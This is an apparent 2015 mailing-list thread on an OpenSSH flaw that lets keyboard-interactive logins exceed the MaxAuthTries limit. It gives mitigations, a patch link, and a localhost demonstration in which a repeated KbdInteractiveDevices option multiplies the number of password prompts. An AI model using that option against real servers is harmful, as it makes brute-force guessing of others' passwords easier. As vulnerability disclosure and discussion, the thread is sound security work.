On Thu, Jul 23, 2015 at 11:38:27PM +0200, Marc Espie wrote: > On Thu, Jul 23, 2015 at 12:29:37PM -0400, Garance A Drosehn wrote: > > On 23 Jul 2015, at 10:06, Emilio Perea wrote: > > > > >To me it looks like a mistimed April Fools' joke, but hope somebody > > >more knowledgeable will respond: > > > > > >https://kingcope.wordpress.com/2015/07/16/openssh-keyboard-interactive-authe ntication-brute-force-vulnerability-maxauthtries-bypass/ > > > > It is a real issue. Your servers might not see the issue depending > > on what options have been set for sshd_config. My freebsd boxes do > > *not* have the problem, but that's because I have set > > 'ChallengeResponseAuthentication no'. I don't even remember why I > > set that on my freebsd boxes. I change very few settings, but for > > some reason I decided to change that one. > > > > I can reproduce the problem on my Macs, because they are setup with > > 'ChallengeResponseAuthentication yes', and I do not turn it off. > > > > I'm told that another way to avoid the problem is to set > > 'KbdInteractiveAuthentication no'. > > > > I'm also told that there is a patch for the oversight in OpenSSH's > > code, and that can be seen at: > > > > https://anongit.mindrot.org/openssh.git/patch/?id=5b64f85bb811246c59ebab > > Not surprisingly, as the patch clearly shows, the problem is right > smack in the middle of USE_PAM code. > > I wouldn't call that an OpenSSH bug. I would call it a systemic design > flaw in PAM. As usual. LOTS of security holes in authentication > systems stem from PAM. Why ? Because that stuff is over designed. > Difficult to configure. Gives you MORE than you need to hang yourself > several times over. It's been that way for as long as I can remember. > > I recall discussing things with one of the authors of PAM, about ten > years ago (forgive me for not remembering names at this point). What > struck me is that it looks as if PAM wasn't designed to be secure. > It's an authentication system, yet it's surprisingly easy to get it to > fail open. Yet it's complex enough that there are bad interactions all > over the place. Heck, you have to write software defensively if you > want PAM to not fuck you over. > > I really don't see why it's still used. Why the systems that think > they must have PAM haven't scraped that pile of goo and tried to put > something sensible in its stead. > > (I have some hypothesis about that. That some kids love complexity, > and think that more complex is more shiny, hence better) > > Okay, let's admit that the *portable* version of openssh wasn't > programmed in a way that's paranoid enough about the failure modes of > pam. >
Hi Marc et al. The flaw is orthogonal to PAM. In a nutshell, the OpenSSH server queries a specific keyboard-interactive device as many times as it's listed in the submethod field of a given userauth request (likely never the intent). The portable version can support three such devices: pam, bsdauth, and skey. OpenBSD supports bsdauth. So, a client could trigger three queries to the foo device per userauth request with: -oKbdInteractiveDevices="foo,foo,foo" MaxAuthTries is a constraint on userauth requests (not device queries) so assuming the default value of 6, the above client-supplied device list results in 18 queries to foo (not 6). A brute-force attack can leverage this to be more economical in terms of the number of connections used and that might prove to be of some benefit. For example, against an ips/ids that uses connection-based heuristics. In any event, contrary to what's being reported regarding this flaw in "technical" news sites and blogs, the sky's not falling. No need to stock up on canned tuna and bottled water just yet. Below's an example of the flaw on OpenBSD 5.6. --mancha =========================================== mancha@fugu:~$ uname -a OpenBSD fugu 5.6 GENERIC.MP#333 amd64 mancha@fugu:~$ ssh -oNumberOfPasswordPrompts=6 mancha:skey@localhost otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: Received disconnect from 127.0.0.1: 2: Too many authentication failures for mancha from 127.0.0.1 port 34310 ssh2 mancha@fugu:~$ ssh -oNumberOfPasswordPrompts=6 -oKbdInteractiveDevices="bsdauth,bsdauth" mancha:skey@localhost otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: otp-sha1 99 fugu79734 S/Key Password: Received disconnect from 127.0.0.1: 2: Too many authentication failures for mancha from 127.0.0.1 port 24472 ssh2 [demime 1.01d removed an attachment of type application/pgp-signature]
